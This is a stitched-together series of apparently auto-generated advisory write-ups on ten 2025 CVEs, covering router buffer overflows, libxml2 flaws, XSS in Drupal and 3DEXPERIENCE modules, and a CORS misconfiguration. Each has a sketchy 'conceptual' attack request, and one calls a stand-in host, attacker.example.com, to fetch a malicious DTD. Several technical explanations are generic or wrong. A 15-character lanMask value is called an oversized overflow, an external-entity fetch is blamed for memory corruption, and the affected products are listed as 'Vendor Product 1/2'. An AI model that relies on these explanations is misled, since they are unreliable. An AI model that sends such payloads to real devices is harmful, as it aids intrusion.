Author: Ameeba

Overview

TOTOLINK EX1200T 4.1.2cu.5232_B20210713, a popular wireless networking device, has been identified with a critical vulnerability (CVE-2025-6128) that potentially allows unauthorized remote system compromise or data leakage. This vulnerability is particularly concerning due to the widespread use of TOTOLINK devices across various sectors, and the potential for significant damage if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-6128
Severity: Critical (CVSS 8.8)
Attack Vector: Network (HTTP POST Request)
Privileges Required: None
User Interaction: None
Impact: Execution of arbitrary code leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK EX1200T | 4.1.2cu.5232_B20210713

How the Exploit Works

The vulnerability lies in an unspecified part of the file /boafrm/formWirelessTbl within the HTTP POST Request Handler component of the TOTOLINK EX1200T. By manipulating the argument ‘submit-url’, an attacker can trigger a buffer overflow. This buffer overflow potentially allows the execution of arbitrary code, leading to unauthorized system access or leakage of sensitive data. The attack can be initiated remotely, and no user interaction is required, further increasing the risk associated with this vulnerability.

Conceptual Example Code

Here’s a conceptual example of how an attacker may exploit this vulnerability:

POST /boafrm/formWirelessTbl HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=../../../../../../../[BUFFER OVERFLOW ATTACK PAYLOAD]

This conceptual example is an HTTP POST request to the vulnerable endpoint. The ‘submit-url’ argument is manipulated with a buffer overflow attack payload, potentially causing the system to execute arbitrary code.

Mitigation Guidance

It is strongly recommended to apply the vendor-supplied patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can help detect and prevent attempts to exploit this vulnerability. As always, follow best practices for cybersecurity, including regular system updates, monitoring for suspicious activity, and maintaining strong, unique passwords.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a severe vulnerability, dubbed CVE-2025-49796, which threatens the integrity and stability of systems utilizing libxml2. This popular XML parsing library is used in a wide range of applications, from web browsers and servers to firmware in IoT devices, making the potential impact of this vulnerability vast and far-reaching. The vulnerability arises from the mishandling of certain sch:name elements, leading to memory corruption and consequently, a potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49796
Severity: Critical (CVSS 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service (DoS) attack, potential system compromise or data leakage

Affected Products

Product | Affected Versions

libxml2 | All versions prior to patch

How the Exploit Works

The vulnerability in question is triggered when processing certain sch:name elements from an XML input file. An attacker can craft a malicious XML input file that, when processed by libxml2, triggers a memory corruption issue. This corruption can lead to a system crash, resulting in a denial of service. More concerning, however, is the potential for undefined behavior due to sensitive data being corrupted in memory. This could potentially allow an attacker to access or modify sensitive data, leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that sends a malicious XML file to a vulnerable endpoint:

POST /xmlprocessor/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<sch:name><![CDATA[<!ENTITY x SYSTEM "http://attacker.example.com/malicious.dtd">]]>
</sch:name>
</root>

In this example, the sch:name element contains malicious payload that fetches a Document Type Definition (DTD) file from the attacker’s server. This DTD file can contain instructions that trigger the memory corruption issue in libxml2.

Mitigation

The best way to mitigate this vulnerability is by applying the vendor patch once it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to minimize the risk by blocking or alerting on suspicious XML input. It is also recommended to limit the exposure of systems using libxml2 to untrusted networks where possible.

Overview

The cybersecurity community is currently facing a serious vulnerability in libxml2, a widely-used software library for parsing and manipulating XML documents. The vulnerability, identified as CVE-2025-49794, is a use-after-free flaw that potentially allows malicious actors to compromise systems using a carefully crafted XML document. This vulnerability is particularly dangerous due to the widespread usage of the libxml2 library in various software applications, making a large number of systems potentially susceptible to breaches.

Vulnerability Summary

CVE ID: CVE-2025-49794
Severity: Critical (CVSS 9.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Libxml2 | All versions prior to patch

How the Exploit Works

The vulnerability stems from a use-after-free issue in libxml2 when parsing XPath elements under specific circumstances. This issue occurs when the XML schematron includes the schema elements. A malicious actor can exploit this flaw by crafting a malicious XML document and feeding it as input to an application that uses the vulnerable libxml2 library. This action can result in a crash of the application, or even more concerning, lead to unexpected and potentially harmful behavior, such as a system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of an XML document that might be used to exploit this vulnerability:

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<sch:name path="...">
<!-- Malicious payload here -->
</sch:name>
</root>

In this theoretical example, the malicious payload would be placed in the path field, and this document would be used as input for an application utilizing the vulnerable libxml2 library.

Mitigation Guidance

While vendors are working on patches to address this issue, it is recommend that users implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. These systems can help detect and block malicious XML documents and prevent them from being processed by the vulnerable libxml2 library. Users are advised to update their libxml2 library to the patched version as soon as it becomes available to permanently rectify this vulnerability.

Overview

A significant cybersecurity threat, CVE-2025-48914, has been identified in Drupal COOKiES Consent Management. This vulnerability is an instance of Cross-Site Scripting (XSS), a common web application security flaw that allows attackers to inject malicious scripts into websites viewed by other users. The risk is substantial, given the severity score of 8.6, and the potential for system compromise or data leakage. This vulnerability affects all versions of COOKiES Consent Management from 0.0.0 to before 1.2.15.

Vulnerability Summary

CVE ID: CVE-2025-48914
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Drupal COOKiES Consent Management | 0.0.0 to before 1.2.15

How the Exploit Works

This vulnerability is a classic example of Cross-site Scripting (XSS), where the Drupal COOKiES Consent Management fails to neutralize user input during web page generation properly. An attacker can exploit this flaw by injecting malicious script into the website which is then executed in the browser of any user visiting the infected webpage. This malicious script can potentially compromise the user’s system or lead to data leakage.

Conceptual Example Code

A conceptual exploit might involve an HTTP POST request to a vulnerable endpoint on the Drupal COOKiES Consent Management system. The malicious payload would be inserted into a field that is not correctly sanitized by the system. An example of such a request could look like this:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input_field": "<script>malicious_script_here</script>" }

In the above example, the “user_input_field” could be any field in the system that is vulnerable to XSS injection. The “malicious_script_here” would be replaced with the actual malicious code that the attacker wants to execute on the victim’s browser.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability, providing a stopgap until the patch can be applied.

Overview

We will be discussing the vulnerability CVE-2025-4987, a serious security flaw found in the Opportunity Management module of Project Portfolio Manager. The vulnerability emerged in the software’s releases from 3DEXPERIENCE R2023x through to the R2025x version. This vulnerability is a stored Cross-Site Scripting (XSS) exploit that allows a malicious actor to execute arbitrary script code within a user’s browser session. This type of vulnerability is especially dangerous as it directly affects the security of data and the overall integrity of an organization’s system.

Vulnerability Summary

CVE ID: CVE-2025-4987
Severity: High (8.7 CVSS Score)
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Opportunity Management in Project Portfolio Manager | 3DEXPERIENCE R2023x to 3DEXPERIENCE R2025x

How the Exploit Works

The exploit works by taking advantage of a stored XSS vulnerability present in the Opportunity Management module of Project Portfolio Manager. The attacker injects malicious scripts into the system, which are then stored and executed in the user’s browser session. This can lead to unauthorized access, system compromise, and potential data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. The attacker would craft a malicious payload and send it to the server, which then gets stored and served to the user’s browser.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script>/*...malicious javascript code...*/</script>" }

Once the user’s browser renders the malicious script, it executes within the context of the user’s session, which can then lead to serious security breaches such as data theft or system compromise.

Mitigation Measures

The primary mitigation against this vulnerability is to apply the patch provided by the vendor. In the event that the patch cannot be applied immediately, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation measures. These systems can detect and block XSS attacks, providing an additional layer of security against potential exploitation.
Moreover, always remember that education and awareness are powerful tools in cybersecurity. Users should be trained to recognize potential attacks and to avoid clicking on suspicious links or opening untrusted documents.

Overview

Today we are breaking down a critical vulnerability, CVE-2025-25264, which allows an unauthenticated remote attacker to exploit an overly permissive Cross-Origin Resource Sharing (CORS) policy. This vulnerability poses a significant threat to any system that has not yet applied the corresponding patch, potentially leading to serious data leakage or enabling further system compromise. It is of utmost importance that system administrators understand the risks and take action to mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-25264
Severity: Critical, CVSS score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Vendor Product 1 | All versions prior to 3.0.1
Vendor Product 2 | All versions prior to 2.1.6

How the Exploit Works

An attacker can exploit this vulnerability by sending a cross-origin HTTP request to a vulnerable application. The overly permissive CORS policy of the affected application allows the attacker to read the responses to these cross-origin requests, potentially exposing sensitive data or enabling further attacks. Since the attack can be executed remotely, the attacker does not need to authenticate or interact with a user to successfully exploit the vulnerability.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability:

GET /sensitive/data HTTP/1.1
Host: vulnerable.example.com
Origin: attacker.example.com

In this example, the attacker sends a GET request from `attacker.example.com` to `vulnerable.example.com` for a resource that contains sensitive data. The vulnerable application’s overly permissive CORS policy allows the attacker’s domain to read the response, potentially exposing sensitive data.

Mitigation Guidance

To mitigate this vulnerability, apply the patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block exploitation attempts. Additionally, review and update the application’s CORS policy to ensure that it only allows trusted domains to read responses.

Overview

A critical vulnerability has been discovered in the D-Link DIR-619L 2.06B01, an older yet widely used router. This vulnerability, identified as CVE-2025-6115, lies in the form_macfilter function and can lead to a stack-based buffer overflow. The vulnerability is of particular concern because it can be exploited remotely and may lead to severe consequences such as system compromise or data leakage. This vulnerability is critical due to its potential for widespread harm and the ease with which it can be exploited.

Vulnerability Summary

CVE ID: CVE-2025-6115
Severity: Critical (8.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

D-Link DIR-619L | 2.06B01

How the Exploit Works

The vulnerability in the D-Link DIR-619L 2.06B01 router is related to the form_macfilter function. The manipulation of the argument mac_hostname_%d/sched_name_%d can lead to a stack-based buffer overflow. This kind of overflow happens when a program writes more data to the buffer than it can handle, which can cause it to overwrite adjacent memory locations. A remote attacker could use this vulnerability to inject arbitrary code into the memory, which would then be executed whenever the compromised function is called.

Conceptual Example Code

In a conceptual sense, an attacker might exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable router. This request might look something like this:

POST /form_macfilter HTTP/1.1
Host: vulnerable.router.ip
Content-Type: application/x-www-form-urlencoded
mac_hostname_%d=some_valid_value&sched_name_%d=AAAA...AAAA (long string of 'A's to cause buffer overflow)

In this example, the `sched_name_%d` parameter is filled with a long string of ‘A’s. This string is longer than the buffer can handle, causing it to overflow and allowing the attacker to inject and execute arbitrary code.

Remediation

Given that the affected product is no longer supported by the vendor, the best course of action is to replace the affected routers with newer models that are not vulnerable to this exploit. However, as an interim measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to monitor for and block malicious traffic attempting to exploit this vulnerability.

Overview

The cybersecurity landscape is fraught with vulnerabilities, and D-Link DIR-619L version 2.06B01 is the latest product to fall prey to a significant one. Classified as critical with a Common Vulnerability Scoring System (CVSS) score of 8.8, this vulnerability specifically impacts the function form_portforwarding of the file /goform/form_portforwarding. The vulnerability arises from a manipulation of certain arguments, which results in a stack-based buffer overflow.
This vulnerability matters because it can be exploited remotely and has been publicly disclosed, meaning malicious actors may have the tools required to launch an attack. Moreover, it affects products that are no longer supported by the maintainer, making it a potential ticking time bomb for unsuspecting users.

Vulnerability Summary

CVE ID: CVE-2025-6114
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Link DIR-619L | 2.06B01

How the Exploit Works

The vulnerability is a result of insufficient input validation in the form_portforwarding function of the file /goform/form_portforwarding. The manipulation of the argument ingress_name_%d/sched_name_%d/name_%d triggers a stack-based buffer overflow. A buffer overflow occurs when more data is written to a buffer than it can handle, overriding adjacent memory locations. This can result in unpredictable behavior, including system crashes, incorrect data, or code execution.

Conceptual Example Code

Consider this conceptual example of how the vulnerability might be exploited using an HTTP POST request. An attacker would send a crafted request with a malicious payload designed to overflow the buffer and potentially execute arbitrary code.

POST /goform/form_portforwarding HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
ingress_name_1=sched_name_1=name_1=A*50000

In the example above, ‘A*50000’ represents a string of 50,000 ‘A’ characters, which could exceed the buffer’s capacity and trigger the overflow.
Please note that this is a conceptual example and not actual exploit code. The actual exploit would depend on various factors, including the specific configuration of the targeted system.

Overview

CVE-2025-6113 is a critical vulnerability found in the Tenda FH1203 2.0.1.6 network router. This vulnerability, found in the function fromadvsetlanip of the file /goform/AdvSetLanip, allows for buffer overflow attacks. These types of attacks have the potential to compromise system integrity and expose sensitive data, making this vulnerability a serious security concern. Given the ubiquity of Tenda routers, this vulnerability could potentially impact a significant number of systems worldwide, necessitating immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-6113
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH1203 | 2.0.1.6

How the Exploit Works

The exploit targets the fromadvsetlanip function within the /goform/AdvSetLanip file of the Tenda FH1203 router. Specifically, the vulnerability arises from the manipulation of the lanMask argument, leading to a buffer overflow. By sending an overly large packet of data to the lanMask argument, an attacker can cause the system to overflow the buffer, corrupting adjacent memory space. This could potentially allow the attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. Note that this is a simplified conceptual example and not actual exploit code.

POST /goform/AdvSetLanip HTTP/1.1
Host: target.router.ip
Content-Type: application/x-www-form-urlencoded
lanMask=255.255.255.255&oversizedData=[...]

In this example, the “oversizedData” stands for the excessive amount of data that causes the buffer overflow.

Mitigation and Recommendations

Users of affected Tenda FH1203 routers are strongly advised to apply the vendor patch as soon as possible. In the absence of a patch, or as a temporary mitigation, firewalls or intrusion detection systems (IDS) can be configured to detect and block attempts to exploit this vulnerability. Users should also consider enabling automatic updates to ensure that future patches are applied promptly. Regular monitoring and logging of network traffic can also aid in identifying any potential exploitation attempts.

Overview

The CVE-2025-6112 is a critical vulnerability that has been identified in the Tenda FH1205 version 2.0.0.7. This vulnerability, found in the function fromadvsetlanip of the file /goform/AdvSetLanip, could potentially lead to system compromise or data leakage. Given the function’s role in network management, numerous businesses and individual users worldwide relying on Tenda FH1205 could be at risk. Understanding this vulnerability and implementing the necessary fixes is thus paramount to ensuring the security of your network.

Vulnerability Summary

CVE ID: CVE-2025-6112
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH1205 | 2.0.0.7

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in the function fromadvsetlanip. The function is used to set the LAN IP address of the device. However, the function does not properly validate the length of the lanMask argument. An attacker can remotely send a specially crafted request with an oversized lanMask argument. The oversized argument is then copied into a fixed-size buffer, causing the buffer to overflow, which could lead to arbitrary code execution or cause the system to crash.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /goform/AdvSetLanip HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
lanMask=256.256.256.256

In this example, the attacker sends a POST request with an oversized lanMask value. This oversized value overflows the buffer, leading to the potential execution of malicious code.

Mitigation

Users are urged to apply the vendor-provided patch as soon as possible. If the patch cannot be applied immediately, users should consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block attempts to exploit this vulnerability.